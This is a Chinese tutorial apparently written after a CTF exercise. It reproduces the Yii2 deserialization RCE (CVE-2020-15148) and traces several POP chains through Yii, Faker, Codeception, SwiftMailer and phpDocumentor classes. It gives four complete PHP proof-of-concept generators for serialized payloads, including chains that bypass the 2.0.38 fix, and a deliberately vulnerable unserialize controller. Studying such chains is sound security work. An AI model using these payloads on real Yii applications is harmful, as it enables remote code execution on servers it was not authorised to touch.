Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。
Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。
Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。
Yii 2.0 还使用了 PHP 的最新特性, 例如命名空间 和Trait(特质)
yii2.2.0.38之前的版本存在反序列化漏洞,程序在调用unserialize时,攻击者可以通过构造特定的恶意请求执行RCE,CVE编号是CVE-2020-15148.
2.0.38已修复该漏洞,官方的修复方法:
在yii\db\BatchQueryResult类增加了一个__wakeup()函数,函数内容为:当BatchQueryResult类被反序列化时直接报错,wakeup()方法在类被反序列化会自动调用,这样也就避免了反序列化的发生,避免了漏洞。
本地使用phpstudy搭建,将Yii的demo下载下来:
https://github.com/yiisoft/yii2/releases/tag/2.0.37
修改/config/web.php里的cookieValidationKey为任何值,不然会报错:
进入目录,执行 php yii serve
进入http:localhost:8080
namespace:
PHP: 命名空间概述 - Manual
php中命名空间(namespace)的作用和使用_古语静水流深-CSDN博客
PHP命名空间(Namespace)的使用详解 - 酷越 - 博客园
call_user_func_array()
[Yii2.0 路由(Route)的实现原理 2.0 版本 ]
所谓路由是指URL中用于标识用于处理用户请求的module, controller, action的部分,一般情况下由 r 查询参数来指定。
如 http://www.digpage.com/index.php?r=post/view&id=100 ,表示这个请求将由PostController 的 actionView来处理。(主要首字母要大写)__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct():当对象被销毁时会自动调用。
__call():是在对象上下文中调用不可访问的方法时触发
由于是反序列化利用链,我们需要一个入口点,在controllers目录下创建一个Controller:
controllers/TestController.php:
url:http:localhost:8080/?r=test/test&data=xxx
namespace app\controllers;
class TestController extends \yii\web\Controller
{
public function actionTest($data)
{
return unserialize(base64_decode($data));
}
}
漏洞触发点在\yii-2.0.37\vendor\yiisoft\yii2\db\BatchQueryResult.php
文件中
/**
* Destructor.
*/
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
/**
* Resets the batch query.
* This method will clean up the existing batch query so that a new batch query can be performed.
*/
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
__destruct
()跟进reset()
,继续跟进close()
,发现close()
里没有利用点。但是这里的 _dataRender
是可控的,可以触发__call
方法进行利用。
当一个对象调用不可访问的close
方法或者类中没有close
方法,即可触发 __call
。全局搜索一下 __call
方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php
中找到了合适的方法:
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
这里的$method
为close
函数,$attributes
为空,因为close
函数形参为空。继续跟进format
方法
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
发现了call_user_func_array()
函数,看到了一丝希望。在这里解释一下call_user_func_array()
函数:
call_user_func_array
:调用回调函数,并把一个数组参数作为回调函数的参数
使用方法:
call_user_func_array(callable $callback, array $param_arr): mixed
callback
被调用的回调函数。
param_arr
要被传入回调函数的数组,这个数组得是索引数组。
示例:
namespace Foobar;
class Foo {
static public function test($name) {
print "Hello {$name}!\n";
}
}
// As of PHP 5.3.0
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));
//输出:Hello Hannes
// As of PHP 5.3.0
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));
//输出:Hello Philip
?>
继续跟进getFormmatter
函数:
/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
关注前半部分,发现$this->formatters
是可控的,因此getFormmatter
方法的返回值也是可控的,因此在call_user_func_array($this->getFormatter($formatter), $arguments);
中,第一个参数可控,第二个参数为空。
这时候就需要一个执行类,类中的方法需要满足两个条件:
参考了一些大师傅的思路,call_user_func
函数很符合以上的方法,这里介绍一下call_user_func
:
call_user_func:把第一个参数作为回调函数调用,这里用call_user_func即可达到RCE的作用。
好了,找一下带有call_user_func
的类:
构造正则
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
找到了两个适合的类方法run:
yii\rest\CreateAction::run()
, $this->checkAccess, $this->id
两个参数可控
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
...
return $model;
}
yii\rest\IndexAction::run()
, $this->checkAccess, $this->id
两个参数可控
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
好了,POP链到此结束。整理一下:
yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Fake\Generator::__call()->format()->call_user_func_array
↓↓↓
yii\rest\IndexAction::run()->call_user_func
构造POC:
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = 'phpinfo';
$this->id = '1'; // rce
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(),'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
成功复现。
其实还可以找到其他的pop链,还是以BatchQueryResult类的__destruct作为起点。还是跟到$this->_dataReader->close();
,但是这次不以__ __call为跳板,而是寻找确实存在close方法的一个类,而且这个类的close方法可以利用。经过寻找,找到了yii\web\DbSession这个类:
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
跟进getIsActive(),发现无法利用,跟进$this->composeFields();:
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
出现了call_user_func
函数:$this->writeCallback ? call_user_func($this->writeCallback, $this)
,且$this->writeCallback
可控,因此调回的回调函数可控。
因此这里可以调用前面那条链的run方法,实现RCE。
整理一下POP链:
yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
yii\web\DbSession::close()->composeFields()->call_user_func()
↓↓↓
yii\rest\IndexAction::run()->call_user_func()
POC如下:
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = 'phpinfo';
$this->id = '1'; // rce
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession{
public $writeCallback;
public function __construct()
{
$this->writeCallback = [new IndexAction(),'run'];
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new DbSession();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
成功复现。
yii2.0.38做了如下更新,借用feng师傅的图
增加了__wakeup()
,在反序列化时直接抛出异常,因此以BatchQueryResult
为起点的这条链在2.0.38里算是不行了。因此再继续复习学习一下大师傅们针对2.0.38挖掘的其他新链。
类比上一条链的思路,yii2只是限制了batchQueryResult类不能进行反序列化,但是后面的__cal以及之后的链都是完好无损的,因此想找一条新的链,最快的方式就是再找一个存在__destruct这样的利用点,然后正好类中的一个属性调用了一个方法,而且这个属性我们可控,那么就是一条新链了。
全局找一下__destruct
,经过排查,发现RunProcess类的__destruct
可以利用:
public function __destruct()
{
$this->stopProcess();
}
继续跟进:
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
因为 t h i s − > p r o c e s s e s 可 控 , 所 以 this->processes可控,所以 this−>processes可控,所以process可控。这里$process->isRunning(),调用isRunning方法,因此又可以触发__call,然后继续反序列化。
构造POC:
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = 'phpinfo';
$this->id = '1'; // rce
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(),'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes = [];
public function __construct()
{
$this->processes[] = new Generator();
}
}
}
namespace {
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
复现成功。
还是看__destruct,发现\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
中的Swift_KeyCache_DiskKeyCache
类可以利用:
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
跟进clearAll()
:
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
继续跟进clearKey
发现没有利用点,触发不了__call
,不过看到了$this->path.'/'.$nsKey
,存在字符串拼接问题,而$this->path
和$nsKey
都是我们可控的,因此可以触发__toString
。全局搜索一波,可以找到很多:
可以找到好多可以利用的__toString,我这里找到了vendor\phpDocumentor\Reflection\DocBlock\Tags\Covers.php
里的
public function __toString() : string
{
return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}
看到了$this->description->render()
,又可以利用__call
了,于是第二条POP链又成了。
构造POC-2:
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['render'] = [new IndexAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Covers
{
protected $description;
public function __construct(){
$this->description=new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\Covers;
class Swift_KeyCache_DiskKeyCache
{
private $keys = [];
private $path;
public function __construct(){
$this->path=new Covers();
$this->keys=array(
'hello'=>'world'
);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
复现成功。
在ctfshow做题时遇到了yii反序列化,写这篇文章来记录下yii反序列化漏洞的利用以及复现,以后或许可以用得到,主要就是__destruct,__call,__toString等魔术方法的灵活使用和call_user_func、call_user_func_array的利用。